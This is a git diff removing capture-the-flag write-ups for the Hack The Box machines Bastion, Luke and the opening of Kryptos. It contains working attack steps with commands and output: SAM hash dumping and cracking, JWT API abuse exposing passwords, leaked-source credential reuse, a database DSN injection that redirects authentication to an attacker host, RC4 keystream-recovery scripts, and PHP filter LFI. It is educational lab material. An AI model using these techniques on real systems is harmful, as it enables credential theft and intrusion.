Description -002: 000:000 0000000128 0031248511 0031248384 0014G NTFS / exFAT (0x07) -``` - -Then I mount the image to another directory, specifying the proper offset: -``` -# mount -o ro,noload,offset=65536 vhdi1 /mnt/bastion_backup -root@ragingunicorn:/mnt/vhd# ls -l /mnt/bastion_backup/ -total 2096729 -drwxrwxrwx 1 root root 0 Feb 22 07:39 '$Recycle.Bin' --rwxrwxrwx 1 root root 24 Jun 10 2009 autoexec.bat --rwxrwxrwx 1 root root 10 Jun 10 2009 config.sys -lrwxrwxrwx 2 root root 25 Jul 14 2009 'Documents and Settings' -> /mnt/bastion_backup/Users --rwxrwxrwx 1 root root 2147016704 Feb 22 07:38 pagefile.sys -drwxrwxrwx 1 root root 0 Jul 13 2009 PerfLogs -drwxrwxrwx 1 root root 4096 Jul 14 2009 ProgramData -drwxrwxrwx 1 root root 4096 Apr 11 2011 'Program Files' -drwxrwxrwx 1 root root 0 Feb 22 07:39 Recovery -drwxrwxrwx 1 root root 4096 Feb 22 07:43 'System Volume Information' -drwxrwxrwx 1 root root 4096 Feb 22 07:39 Users -drwxrwxrwx 1 root root 16384 Feb 22 07:40 Windows -``` - -I now have access to the system and SAM hive and I dump the hashes from the database: -``` -/mnt/bastion_backup/Windows/System32/config# pwdump SYSTEM SAM -Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: -L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9::: -``` - -With John The Ripper I can crack the hash for user `L4mpje`: `bureaulampje` -``` -# john --format=NT -w=/usr/share/wordlists/rockyou.txt hash.txt -Using default input encoding: UTF-8 -Loaded 2 password hashes with no different salts (NT [MD4 128/128 AVX 4x3]) -Warning: no OpenMP support for this hash type, consider --fork=4 -Press 'q' or Ctrl-C to abort, almost any other key for status - (Administrator) -bureaulampje (L4mpje) -``` - -With that account I can SSH in and get the user flag: -``` -# ssh l4mpje@10.10.10.134 -l4mpje@10.10.10.134's password: - -Microsoft Windows [Version 10.0.14393] -(c) 2016 Microsoft Corporation. All rights reserved. - -l4mpje@BASTION C:\Users\L4mpje>cd desktop - -l4mpje@BASTION C:\Users\L4mpje\Desktop>dir - Volume in drive C has no label. - Volume Serial Number is 0CB3-C487 - - Directory of C:\Users\L4mpje\Desktop - -22-02-2019 16:27 . -22-02-2019 16:27 .. -23-02-2019 10:07 32 user.txt - 1 File(s) 32 bytes - 2 Dir(s) 11.389.775.872 bytes free - -l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt -9bfe57... -``` - -### Getting the administrator credentials - -I do some recon and found the mRemoteNG application is installed on the system. mRemoteNG is a multi-protocol connection manager and allows users to connect to systems with different protocols like SSH, RDP, VNC, etc. As such, it supports saving the credentials locally in a configuration file. - -The XML configuration file is located here: `C:\Users\L4mpje\AppData\Roaming\mRemoteNG\confCons.xml` - -I immediately see that it contains an RDP session configuration for user `Administrator`: -``` -route add 10.10.10.0 mask 255.255.255.0 172.23.10.39 - OK! -``` - -Then added a NAT statement in Kali after enabling IPv4 routing: -``` -# echo 1 > /proc/sys/net/ipv4/ip_forward -# /sbin/iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE -# /sbin/iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT -``` - -Testing connectivity from Commando VM: -``` -C:\Users\snowscan>nc -nv 10.10.10.134 22 -(UNKNOWN) [10.10.10.134] 22 (?) open -SSH-2.0-OpenSSH_for_Windows_7.9 -``` - -I installed mRemoteNG portable edition then replaced the `confCons.xml` with the one from the box. I then changed the Protocol from RDP to SSH: - -![](/assets/images/htb-writeup-bastion/mremoteng1.png) - -I can connect with the administrator credentials and get the system flag: - -![](/assets/images/htb-writeup-bastion/mremoteng2.png) diff --git a/_posts/2019-09-14-htb-writeup-luke.md b/_posts/2019-09-14-htb-writeup-luke.md deleted file mode 100644 index 6e335ff4c3..0000000000 --- a/_posts/2019-09-14-htb-writeup-luke.md +++ /dev/null @@ -1,225 +0,0 @@ ---- -layout: single -title: Luke - Hack The Box -excerpt: "Luke is a easy machine that doesn't have a lot steps but we still learn a few things about REST APIs like how to authenticate to the service and get a JWT token and which headers are required when using that JWT. The rest of the box was pretty straighforward with some gobuster enumeration, finding PHP sources files with credentials then finally getting a shell through the Ajenti application." -date: 2019-09-14 -classes: wide -header: - teaser: /assets/images/htb-writeup-luke/luke_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - ftp - - php - - ajenti - - json - - jwt ---- - -![](/assets/images/htb-writeup-luke/luke_logo.png) - -Luke is a easy machine that doesn't have a lot steps but we still learn a few things about REST APIs like how to authenticate to the service and get a JWT token and which headers are required when using that JWT. The rest of the box was pretty straighforward with some gobuster enumeration, finding PHP sources files with credentials then finally getting a shell through the Ajenti application. - -## Summary - -- On the FTP, there's a hint saying we need to get the source file for the web application -- By using the `.phps` file extension we can get the config web application and some credentials -- The credentials are used to authenticate to the API app on port 3000 -- With the API we can list the users and their plaintext passwords -- The `/management` URI is protected with basic HTTP auth and we can log in with one of the user found with the API -- We then get the root password from the `config.json` file -- We can then log in as root on the Ajenti admin panel, then spawn a terminal window and retrieve the flags - -### Portscan - -``` -# nmap -p- 10.10.10.137 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-26 16:39 EDT -Nmap scan report for luke.htb (10.10.10.137) -Host is up (0.021s latency). -Not shown: 65530 closed ports -PORT STATE SERVICE -21/tcp open ftp -22/tcp open ssh -80/tcp open http -3000/tcp open ppp -8000/tcp open http-alt -``` - -### FTP enumeration - -Anonymous FTP access is enabled there's a file I can download: `for_Chihiro.txt` - -```console -ftp> ls -200 PORT command successful. Consider using PASV. -150 Here comes the directory listing. --r-xr-xr-x 1 0 0 306 Apr 14 12:37 for_Chihiro.txt -226 Directory send OK. - -ftp> get for_Chihiro.txt -local: for_Chihiro.txt remote: for_Chihiro.txt -200 PORT command successful. Consider using PASV. -150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes). -226 Transfer complete. -306 bytes received in 0.00 secs (809.8323 kB/s) -``` - -The file contains contains a hint regarding source files for the website application. - -``` -As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of -the actual website I've created . -Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! - -Derry -``` - -### Website enumeration - -The site running on port 80 is just a generic site with no dynamic content that I can see. - -![](/assets/images/htb-writeup-luke/luke1.png) - -While running gobuster I find a couple of interesting directories: - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -x php -u http://10.10.10.137 - -/LICENSE (Status: 200) -/config.php (Status: 200) -/css (Status: 301) -/js (Status: 301) -/login.php (Status: 200) -/management (Status: 401) -/member (Status: 301) -/vendor (Status: 301) -===================================================== -2019/05/26 16:38:20 Finished -===================================================== -``` - -`/management` uses HTTP basic authentication and I don't have the password yet. I'll keep that in mind and come back to it later when I find the credentials. - -![](/assets/images/htb-writeup-luke/management1.png) - -`/login.php` shows a login page for some PHP web application. - -![](/assets/images/htb-writeup-luke/login1.png) - -I tried a few sets of credentials and I wasn't able to log in. A quick run with SQLmap didn't reveal any easy SQL injection point either. - -The hint from the FTP file talked about source files so I did another gobuster pass using `.phps` as the extension since I knew the application was running on PHP based on the `login.php` file found. The `.phps` extension can be used to produce a color formatted output of the PHP source code without actually interpreting it. It's definitely not something you want to leave on your production webservers especially if it contains credentials. - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -x phps -u http://10.10.10.137 -/config.phps (Status: 200) -/login.phps (Status: 200) -``` - -Allright, I found a couple of files and I see that the `config.phps` contains the root credentials for MySQL - -``` -$dbHost = 'localhost'; -$dbUsername = 'root'; -$dbPassword = 'Zk6heYCyv6ZE9Xcg'; -$db = "login"; - -$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error); -``` - -The `login.phps` file shows that the web application is incomplete: it doesn't really do anything when you log in except set the session cookie. This probably means that I was just meant to find the password from the `config.phps` file and that I can ignore the login page. - -![](/assets/images/htb-writeup-luke/login_source.png) - -### NodeJS app - -The application running on port 3000 expects a JWT token in the Authorization header. - -![](/assets/images/htb-writeup-luke/json1.png) - -I dirbursted the site to find API endpoints and found the following: - -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -s 200,204,301,302,307,401,403 -t 25 -u http://10.10.10.137:3000 - -/Login (Status: 200) -/login (Status: 200) -/users (Status: 200) -===================================================== -2019/05/26 16:41:55 Finished -===================================================== -``` - -I can't reach `/users` because it expects an authorization header: - -``` -{"success":false,"message":"Auth token is not supplied"} -``` - -But I can log in and get a token with the following POST request; - -```console -curl -XPOST http://10.10.10.137:3000/login -H 'Content-Type: application/json' -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' -``` - -I get a JWT token back after logging in: - -``` -{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4ODg5NzM0LCJleHAiOjE1NTg5NzYxMzR9.hW8fCbdZ2S9L691y_OG5Kr0Bt2598JYjDlqLVrcOlj4"} -``` - -To authenticate, I add the following header to the GET request on `/` and `/users`: - -``` -Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU4ODg5NzM0LCJleHAiOjE1NTg5NzYxMzR9.hW8fCbdZ2S9L691y_OG5Kr0Bt2598JYjDlqLVrcOlj4 -``` - -On `GET /`, I now get `{"message":"Welcome admin ! "}` - -`GET /users` shows a list of users: - -``` -curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTY4NDE3NjA1LCJleHAiOjE1Njg1MDQwMDV9.MXxjA5devINORQHlkRL17JH96uWO1VJIZMKZSDdf--U' http://10.10.10.137:3000/users -[{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}] -``` - -I can query each individual user with `GET /users/` and it returns their password: - -``` -{"name":"Admin","password":"WX5b7)>/rp$U)FW"} -{"name":"Derry","password":"rZ86wwLvx7jUxtch"} -{"name":"Yuri","password":"bet@tester87"} -{"name":"Dory","password":"5y:!xa=ybfe)/QD"} -``` - -### Management page - -I tried those credentials and found that I can log into the `/management` page with `Derry` (username is case sensitive) - -![](/assets/images/htb-writeup-luke/management2.png) - -`config.php` and `login.php` contain the source we already have but `config.json` contains another set of credentials: - -![](/assets/images/htb-writeup-luke/config.png) - -Password: `KpMasng6S5EtTy9Z` - -I tried logging in as root by SSH but I wasn't able to. - -### Ajenti - -I have one port left to check on the system. The Ajenti server admin panel runs on port 8000 - -![](/assets/images/htb-writeup-luke/ajenti1.png) - -I can log in with `root` and `KpMasng6S5EtTy9Z`. - -![](/assets/images/htb-writeup-luke/ajenti2.png) - -Using the Terminal menu under Tools, I can get a shell and since I'm already running as root I can grab both flags. - -![](/assets/images/htb-writeup-luke/flag.png) \ No newline at end of file diff --git a/_posts/2019-09-21-htb-writeup-kryptos.md b/_posts/2019-09-21-htb-writeup-kryptos.md deleted file mode 100644 index b8c6bf92b5..0000000000 --- a/_posts/2019-09-21-htb-writeup-kryptos.md +++ /dev/null @@ -1,1098 +0,0 @@ ---- -layout: single -title: Kryptos - Hack The Box -excerpt: "I loved the Kryptos machine from Adamm and no0ne. It starts with a cool parameter injection in the DSN string so I can redirect the DB queries to my VM and have the webserver authenticate to a DB I control. Next is some crypto with the RC4 stream cipher in the file encryptor web app to get access to a protected local web directory and an LFI vulnerability in the PHP code that let me read the source code. After, there's an SQL injection and I use stacked queries with sqlite to gain write access and RCE by writing PHP code. After finding an encrypted vim file, I'll exploit a vulnerability in the blowfish implementation to recover the plaintext and get SSH credentials. For the priv esc, I pop a root shell by evading an eval jail in a SUID python webserver and exploiting a broken PRNG implementation." -date: 2019-09-21 -classes: wide -header: - teaser: /assets/images/htb-writeup-kryptos/kryptos_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - crypto - - sqli - - php - - vim - - lfi - - mysql - - sqlite - - injection - - jail escape ---- - -![](/assets/images/htb-writeup-kryptos/kryptos_logo.png) - -I loved the Kryptos machine from [Adamm](https://asimuntis.github.io/) and no0ne. It starts with a cool parameter injection in the DSN string so I can redirect the DB queries to my VM and have the webserver authenticate to a DB I control. Next is some crypto with the RC4 stream cipher in the file encryptor web app to get access to a protected local web directory and an LFI vulnerability in the PHP code that let me read the source code. After, there's an SQL injection and I use stacked queries with sqlite to gain write access and RCE by writing PHP code. After finding an encrypted vim file, I'll exploit a vulnerability in the blowfish implementation to recover the plaintext and get SSH credentials. For the priv esc, I pop a root shell by evading an eval jail in a SUID python webserver and exploiting a broken PRNG implementation. - -### Nmap - -Not much to see here, standard Linux box with SSH and Apache. - -``` -# nmap -sC -sV -p- kryptos.htb -Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-06 19:01 EDT -Nmap scan report for kryptos.htb (10.10.10.129) -Host is up (0.012s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 2c:b3:7e:10:fa:91:f3:6c:4a:cc:d7:f4:88:0f:08:90 (RSA) -| 256 0c:cd:47:2b:96:a2:50:5e:99:bf:bd:d0:de:05:5d:ed (ECDSA) -|_ 256 e6:5a:cb:c8:dc:be:06:04:cf:db:3a:96:e7:5a:d5:aa (ED25519) -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -| http-cookie-flags: -| /: -| PHPSESSID: -|_ httponly flag not set -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Cryptor Login -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Web - 1st part (login page) - -The web page contains a simple login form with a username and password. - -![](/assets/images/htb-writeup-kryptos/web.png) - -I tried guessing a few credentials and always got a `Nope.` message: - -![](/assets/images/htb-writeup-kryptos/nope.png) - -I see that the POST request passes the username and passwords as well as a CSRF token and a `db` value. - -![](/assets/images/htb-writeup-kryptos/post.png) - -I ran gobuster and found a couple of interesting directories and files but I get a redirect to the login page everytime because I'm not logged in so I'll need to bypass the login page first. That `/dev` folder gives me a 403 error so it's probably only accessible locally or something. -``` -# gobuster -q -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php -t 50 -u http://kryptos.htb -/.htpasswd (Status: 403) -/.htpasswd.php (Status: 403) -/.htaccess (Status: 403) -/.htaccess.php (Status: 403) -/aes.php (Status: 200) -/cgi-bin/ (Status: 403) -/cgi-bin/.php (Status: 403) -/css (Status: 301) -/decrypt.php (Status: 302) -/dev (Status: 403) -/encrypt.php (Status: 302) -/index.php (Status: 200) -/logout.php (Status: 302) -/server-status (Status: 403) -/url.php (Status: 200) -``` - -Because this box is ranked `insane` difficulty, this is most likely not a login page that I can bypass with a simple SQL injection. After playing with some of the parameters with Burp I found that whenever I change the `db` parameter I get the following error message: - -``` -Connection: close -Content-Type: text/html; charset=UTF-8 - -PDOException code: 1044 -``` - -That CSRF token is annoying and makes the process of trying different parameters a pain in the ass while using Burp. I made a quick script to automate getting the CSRF token and testing different payloads: - -```python -#!/ust/bin/python - -import readline -import requests -from bs4 import BeautifulSoup - -headers = { "Cookie": "PHPSESSID=pek49sa9sh4ntpca7cp1f5nffi" } - -while True: - cmd = raw_input("> ") - r = requests.get("http://kryptos.htb", headers=headers) - soup = BeautifulSoup(r.text, 'html.parser') - csrf = soup.find("input", {"name": "token"})["value"] - data = { "username": "user", "password": "pass", "db": cmd, "token": csrf, "login": ""} - print data - r = requests.post("http://kryptos.htb", data=data, headers=headers) - print r.text -``` - -Sample output: - -``` -# python db.py -> invalid -{'username': 'user', 'token': u'9c73104a5a7aa15ffea40720928c9dc481fd85d2b42c5b102e123c2b2de1c7d6', 'password': 'pass', 'db': 'invalid', 'login': ''} -PDOException code: 1044 -> test -{'username': 'user', 'token': u'9c73104a5a7aa15ffea40720928c9dc481fd85d2b42c5b102e123c2b2de1c7d6', 'password': 'pass', 'db': 'test', 'login': ''} -PDOException code: 1044 -``` - -According to the [PDO documentation](https://www.php.net/manual/en/intro.pdo.php): - -> The PHP Data Objects (PDO) extension defines a lightweight, consistent interface for accessing databases in PHP. Each database driver that implements the PDO interface can expose database-specific features as regular extension functions. - -The [PDO constructor](https://www.php.net/manual/en/pdo.construct.php) documentation shows a code example using PDO: - -![](/assets/images/htb-writeup-kryptos/pdo_example.png) - -The DSN string contains the database name which I can pass in the login request. This looks like a potential injection point. If we can control the DSN string then we can potentially redirect the database connection to another host instead of the target server. - -To verify this I started a netcat listener on my Kali VM on port 3306 and injected the following string: `;dbname=cryptor;host=10.10.14.23;` - -![](/assets/images/htb-writeup-kryptos/mysql_callback.png) - -The MySQL server connects back to me so that means I can capture the challenge and response pairs and then crack them offline. Metasploit already has a module for that: `server/capture/mysql` - -``` -msf5 auxiliary(server/capture/mysql) > show options - -Module options (auxiliary/server/capture/mysql): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - CAINPWFILE no The local filename to store the hashes in Cain&Abel format - CHALLENGE 112233445566778899AABBCCDDEEFF1122334455 yes The 16 byte challenge - JOHNPWFILE /root/htb/kryptos/mysqlpwd no The prefix to the local filename to store the hashes in JOHN format - SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 - SRVPORT 3306 yes The local port to listen on. - SRVVERSION 5.5.16 yes The server version to report in the greeting response - SSL false no Negotiate SSL for incoming connections - SSLCert no Path to a custom SSL certificate (default is randomly generated) - -msf5 auxiliary(server/capture/mysql) > -[+] 10.10.10.129:58670 - User: dbuser; Challenge: 112233445566778899aabbccddeeff1122334455; Response: 73def07da6fba5dcc1b19c918dbd998e0d1f3f9d; Database: cryptor -``` - -The hash was saved to the following file: - -``` -# cat mysqlpwd_mysqlna -dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d -``` - -I'm able to crack the hash with hashcat: `krypt0n1te` - -``` -# john -w=/usr/share/wordlists/rockyou.txt mysqlpwd_mysqlna -Using default input encoding: UTF-8 -Loaded 1 password hash (mysqlna, MySQL Network Authentication [SHA1 32/64]) -Will run 4 OpenMP threads -Press 'q' or Ctrl-C to abort, almost any other key for status -krypt0n1te (dbuser) -``` - -I tried those credentials on the login page but as expected they don't work because they're the DB creds, not the actual user credentials in the database. Since I now control which database backend is used for authentication and I have the credentials, I can create a database on my own machine with a username/password that I control. This will allow me to pass the authentication and login in to the site. - -First, I need to change the MySQL server configuration so the servers listens on all interface and not just localhost: - -``` -# cat /etc/mysql/mariadb.conf.d/50-server.cnf - -# this is read by the standalone daemon and embedded servers -[server] - -# this is only for the mysqld standalone daemon -[mysqld] - -bind-address = 0.0.0.0 -``` - -Next I created a database and guessed that the table name is `users` (we can see validate this anyways by checking the MySQL logs generated when the server connects to our database) - -``` -MariaDB [(none)]> create database cryptor; -Query OK, 1 row affected (0.00 sec) - -MariaDB [(none)]> use cryptor; -Database changed - -MariaDB [cryptor]> create table users (username varchar(255), password varchar(255)); -Query OK, 0 rows affected (0.01 sec) - -MariaDB [cryptor]> insert into users (username, password) values ('snowscan', 'yolo1234'); -Query OK, 1 row affected (0.00 sec) - -MariaDB [cryptor]> grant all privileges on cryptor.* to 'dbuser'@'%' identified by 'krypt0n1te'; -Query OK, 0 rows affected (0.01 sec) - -MariaDB [cryptor]> flush privileges; -Query OK, 0 rows affected (0.01 sec) -``` - -I set up the Match and Replace function in Burp so I don't need to fiddle with the Intercept every time: - -![](/assets/images/htb-writeup-kryptos/burp_replace.png) - -I still got a `Nope.` message when logging in but I noticed in the MySQL logs that the SQL query is using the MD5 value of the password instead of the plaintext password. - -``` -root@ragingunicorn:/var/log/mysql# tail -f * - -33 Query SELECT username, password FROM users WHERE username='snowscan' AND password='5ba4e0731a6248ea222262e4a65a912b' -``` - -So I just modified the existing password entry with the MD5 value of `yolo1234`: - -``` -MariaDB [cryptor]> update users set password='5ba4e0731a6248ea222262e4a65a912b' where username='snowscan'; -Query OK, 1 row affected (0.00 sec) -Rows matched: 1 Changed: 1 Warnings: 0 -``` - -And now I can log in successfully: - -![](/assets/images/htb-writeup-kryptos/encryptor.png) - -### Web - 2nd part (crypto) - -The web app encrypts files that are linked on the form with either `AES-CBC` or `RC4`. I don't get to pick the key so I assume this is hardcoded in the code which I don't have access to right now. I tried fuzzing the handler to use `file:///` or something like that and also tried to pick another cipher like `None` or `Null` but that didn't work. - -I don't see any obvious way to exploit `AES-CBC` here but `RC4` is interesting because the key stream generated here is the same across all files we encrypt. To verify this I created three different files on my machine: - -``` -# echo AAAAAAAA > 1 -# echo AAAAAAAAAAAAAAAA > 2 -# echo AAAAAAAAAAAAAAAAAAAAAAAA > 3 -``` - -When I encrypt the files, I can clearly see that the same key stream is used across all 3 files since the beginning of the ciphertext is the same: - -![](/assets/images/htb-writeup-kryptos/rc4_1.png) - -![](/assets/images/htb-writeup-kryptos/rc4_2.png) - -![](/assets/images/htb-writeup-kryptos/rc4_3.png) - -Here's the base64 encoded ciphertext of the 3 files: - -``` -GX+u3Xsraj9A -GX+u3Xsraj8L2vu3pnC2hfU= -GX+u3Xsraj8L2vu3pnC2hb52BXbRJNo4Vw== -``` - -The ciphertext is common across all three plaintexts so the encryption here is using a static key for generate the RC4 key stream. I can't recover the key used to initialize RC4 but I can recover the XOR key stream since I control the plaintext and I also have the ciphertext. I just need to generate a large file, encrypt it with the web application and XOR the ciphertext with the original plaintext to recover the key stream. Then I can use the key stream to decrypt the ciphertext of other files. - -``` -# python -c 'print "A" * 1000000' > plaintext -``` - -![](/assets/images/htb-writeup-kryptos/rc_4.png) - -I saved the output to `ciphertext` on my machine, then used a script to XOR both plaintext and ciphertext and generate a key stream file. - -```python -#!/ust/bin/python - -import base64 - -def sxor(s1,s2): - return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) - -with open('plaintext', 'rb') as f: - p = f.read() - -with open('ciphertext', 'rb') as f: - c = base64.b64decode(f.read()) - -k = sxor(p, c) - -with open('keystream', 'wb') as f: - f.write(k) -``` - -After generating the key stream, I wrote another script that issues request on the file encryptor and decrypts the output with the keystream file I generated. - -```python -#!/usr/bin/python - -from bs4 import BeautifulSoup - -import base64 -import requests -import readline -import sys - -headers = { "Cookie": "PHPSESSID=pek49sa9sh4ntpca7cp1f5nffi"} - -def sxor(s1,s2): - return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) - -if len(sys.argv) != 2: - print "Usage: decrypthttp.py " - sys.exit(-1) - -with open("keystream", "rb") as f: - k = f.read() - -r = requests.get("http://kryptos.htb/encrypt.php?cipher=RC4&url=%s" % sys.argv[1], headers=headers) -soup = BeautifulSoup(r.text, "html.parser") -result_b64 = soup.find("textarea").string -if result_b64: - c = base64.b64decode(result_b64) - p = sxor(c, k) - print p -else: - print "** Nothing returned **" -``` - -The next step of the operation here is to exploit the file encryptor to read local files. By using the file encryptor I'm able to query that `/dev/` directory which I had found earlier but that gave me a 403 forbidden message. - -``` -# python decrypthttp.py http://127.0.0.1/dev/ - - - - - - - -``` - -Fetching the two pages shown above: - -``` -# python decrypthttp.py http://127.0.0.1/dev/index.php?view=about - - - - - -This is about page - - - -# python decrypthttp.py http://127.0.0.1/dev/index.php?view=todo - - - - - -

    ToDo List:

    -1) Remove sqlite_test_page.php -
    2) Remove world writable folder which was used for sqlite testing -
    3) Do the needful -

    Done:

    -1) Restrict access to /dev -
    2) Disable dangerous PHP functions - - - -``` - -The next target seems to be `sqlite_test_page.php` but the page doesn't seem to return much: - -``` -# python decrypthttp.py http://127.0.0.1/dev/sqlite_test_page.php - - - - - -``` - -It's probably expecting some parameter either in a GET or POST request but I don't know what the parameter name is. The `index.php` page uses the `view` parameter to display the other pages by including the parameter name concatenated with the `.php` extension. I can confirm this below by browsing to `about.php` directly. - -``` -# python decrypthttp.py http://127.0.0.1/dev/about.php -This is about page -``` - -This `view` parameter is probably a good target for an LFI but at first glance I wasn't able to get anywhere when I tried the obvious suspects like `../../../etc/passwd` because `.php` is appended to the parameter: - -``` -# python decrypthttp.py http://127.0.0.1/dev/index.php?view=../../../../etc/passwd - - - - - - - -``` - -So I used the PHP filter trick to read the `sqlite_test_page.php`. I'm using the base64 filter to encode and return the content of the file being included. - -``` -# python decrypthttp.py "http://127.0.0.1/dev/index.php?view=php://filter/convert.base64-encode/resource=sqlite_test_page" - - - - - -PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpcyB3b3JsZCB3cml0YWJsZSAtIHRvIGJlIGFibGUgdG8gY3JlYXRlL21vZGlmeSBkYXRhYmFzZXMgZnJvbSBQSFAgY29kZQogICAgICAgICAkdGhpcy0+b3BlbignZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvYm9va3MuZGInKTsKICAgICAgfQogICB9CiAgICRkYiA9IG5ldyBNeURCKCk7CiAgIGlmKCEkZGIpewogICAgICBlY2hvICRkYi0+bGFzdEVycm9yTXNnKCk7CiAgIH0gZWxzZSB7CiAgICAgIGVjaG8gIk9wZW5lZCBkYXRhYmFzZSBzdWNjZXNzZnVsbHlcbiI7CiAgIH0KICAgZWNobyAiUXVlcnkgOiAiLiRxdWVyeS4iXG4iOwoKaWYgKGlzc2V0KCRub19yZXN1bHRzKSkgewogICAkcmV0ID0gJGRiLT5leGVjKCRxdWVyeSk7CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9Cn0KZWxzZQp7CiAgICRyZXQgPSAkZGItPnF1ZXJ5KCRxdWVyeSk7CiAgIHdoaWxlKCRyb3cgPSAkcmV0LT5mZXRjaEFycmF5KFNRTElURTNfQVNTT0MpICl7CiAgICAgIGVjaG8gIk5hbWUgPSAiLiAkcm93WyduYW1lJ10gLiAiXG4iOwogICB9CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9CiAgICRkYi0+Y2xvc2UoKTsKfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo= - -``` - -After decoding the base64, I got the source code for `sqlite_test_page.php` - -```php - - - -open('d9e28afcf0b274a5e0542abb67db0784/books.db'); - } - } - $db = new MyDB(); - if(!$db){ - echo $db->lastErrorMsg(); - } else { - echo "Opened database successfully\n"; - } - echo "Query : ".$query."\n"; - -if (isset($no_results)) { - $ret = $db->exec($query); - if($ret==FALSE) - { - echo "Error : ".$db->lastErrorMsg(); - } -} -else -{ - $ret = $db->query($query); - while($row = $ret->fetchArray(SQLITE3_ASSOC) ){ - echo "Name = ". $row['name'] . "\n"; - } - if($ret==FALSE) - { - echo "Error : ".$db->lastErrorMsg(); - } - $db->close(); -} -} -?> - - -``` - -Based on the code above I see that: -- The `d9e28afcf0b274a5e0542abb67db0784` directory is world writable -- The GET parameters for this code are `no_results` and `bookid` -- The SQL query is clearly injectable as there is no sanitization done - -I downloaded the entire .db file using the PHP filter LFI and it only contains a single table with two rows so there is nothing of value to extract using an SQL injection. - -``` -# sqlite3 books.db -SQLite version 3.27.2 2019-02-25 16:06:06 -Enter ".help" for usage hints. -sqlite> .tables -books -sqlite> select * from books; -1|Serious Cryptography -2|Applied Cryptography - -# python decrypthttp.py http://127.0.0.1/dev/sqlite_test_page.php?bookid=1 - - - -Opened database successfully -Query : SELECT * FROM books WHERE id=1 -Name = Serious Cryptography - - -``` - -I tried a simple injection with `1 or 2` but it failed when I tried it: - -``` -# python decrypthttp.py "http://127.0.0.1/dev/sqlite_test_page.php?bookid=1 or 2" - - -400 Bad Request - -

    Bad Request

    -

    Your browser sent a request that this server could not understand.
    -

    -
    -
    Apache/2.4.29 (Ubuntu) Server at 127.0.1.1 Port 80
